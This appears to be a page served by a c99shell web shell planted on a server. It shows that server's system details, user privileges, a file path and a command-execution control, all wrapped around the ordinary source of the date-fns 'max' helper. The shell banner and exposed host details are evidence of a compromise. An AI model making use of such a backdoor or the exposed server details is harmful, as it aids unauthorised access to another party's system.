Software: Apache. PHP/8.1.30 uname -a: Linux server1.tuhinhossain.com 5.15.0-163-generic #173-Ubuntu SMP Tue Oct 14 17:51:00 UTC uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root) Safe-mode: OFF (not secure) /home/picotech/domains/inventory.picotech.app/public_html/node_modules/date-fns/max/ drwxr-xr-x | |
| Viewing file: Select action/file-type: var parse = require('../parse/index.js')
/**
* @category Common Helpers
* @summary Return the latest of the given dates.
*
* @description
* Return the latest of the given dates.
*
* @param {...(Date|String|Number)} dates - the dates to compare
* @returns {Date} the latest of the dates
*
* @example
* // Which of these dates is the latest?
* var result = max(
* new Date(1989, 6, 10),
* new Date(1987, 1, 11),
* new Date(1995, 6, 2),
* new Date(1990, 0, 1)
* )
* //=> Sun Jul 02 1995 00:00:00
*/
function max () {
var dirtyDates = Array.prototype.slice.call(arguments)
var dates = dirtyDates.map(function (dirtyDate) {
return parse(dirtyDate)
})
var latestTimestamp = Math.max.apply(null, dates)
return new Date(latestTimestamp)
}
module.exports = max
|
:: Command execute :: | |
--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0038 ]-- |